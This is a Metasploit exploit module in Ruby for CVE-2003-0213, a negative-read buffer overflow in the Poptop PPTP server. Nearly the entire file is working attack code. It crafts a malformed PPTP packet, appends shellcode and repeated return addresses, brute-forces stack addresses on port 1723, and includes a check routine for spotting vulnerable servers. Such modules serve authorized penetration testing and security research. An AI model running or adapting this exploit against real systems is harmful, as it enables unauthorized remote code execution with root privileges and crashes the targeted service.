bcoles
137 lines
4.2 KiB
Ruby
137 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Brute
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Poptop Negative Read Overflow',
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'Description' => %q{
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This is an exploit for the Poptop negative read overflow. This will
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work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
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currently do not have a good way to detect Poptop versions.
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The server will by default only allow 4 concurrent manager processes
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(what we run our code in), so you could have a max of 4 shells at once.
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Using the current method of exploitation, our socket will be closed
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before we have the ability to run code, preventing the use of Findsock.
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},
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'Author' => 'spoonm',
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2003-0213'],
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['OSVDB', '3293'],
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['URL', 'https://web.archive.org/web/20210120064041/http://securityfocus.com/archive/1/317995'],
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['URL', 'https://web.archive.org/web/20061215104830/http://www.freewebs.com/blightninjas/'],
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],
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'Privileged' => true,
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'Payload' => {
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# Payload space is dynamically determined
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'MinNops' => 16,
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'StackAdjustment' => -1088,
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'Compat' => {
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'ConnectionType' => '-find'
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}
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},
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'SaveRegisters' => [ 'esp' ],
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Targets' => [
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[
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'Linux Bruteforce',
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{
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'Bruteforce' => {
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'Start' => { 'Ret' => 0xbffffa00 },
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'Stop' => { 'Ret' => 0xbffff000 },
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'Step' => 0
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}
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2003-04-09',
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'Notes' => {
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'Stability' => [CRASH_SERVICE_DOWN],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => [REPEATABLE_SESSION]
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}
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)
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)
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register_options(
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[
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Opt::RPORT(1723)
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]
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)
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register_advanced_options(
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[
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OptInt.new('PreReturnLength', [ true, 'Space before we hit the return address. Affects PayloadSpace.', 220 ]),
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OptInt.new('RetLength', [ true, 'Length of returns after payload.', 32 ]),
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OptInt.new('ExtraSpace', [
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true,
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'The exploit builds two protocol frames, the header frame and the control frame. ' \
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'ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). ' \
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"If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " \
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"(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.",
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0
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]),
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OptString.new('Hostname', [ false, 'PPTP Packet hostname', '' ]),
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OptString.new('Vendor', [ true, 'PPTP Packet vendor', 'Microsoft Windows NT' ]),
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]
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)
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end
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# Dynamic payload space calculation
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def payload_space(_explicit_target = nil)
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datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
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end
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def build_packet(length)
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[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
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[1, 0].pack('cc') +
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[0].pack('n') +
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[1, 1, 0, 2600].pack('NNnn') +
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datastore['Hostname'].ljust(64, "\x00") +
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datastore['Vendor'].ljust(64, "\x00")
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end
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def check
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connect
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sock.put(build_packet(156))
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res = sock.get_once
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if res && res =~ /MoretonBay/
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return CheckCode::Detected
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end
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CheckCode::Safe
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end
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def brute_exploit(addrs)
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connect
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print_status("Trying #{'%.8x' % addrs['Ret']}...")
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# Construct the evil length packet
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packet =
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build_packet(1) +
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payload.encoded +
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([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
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sock.put(packet)
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handler
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disconnect
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end
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end
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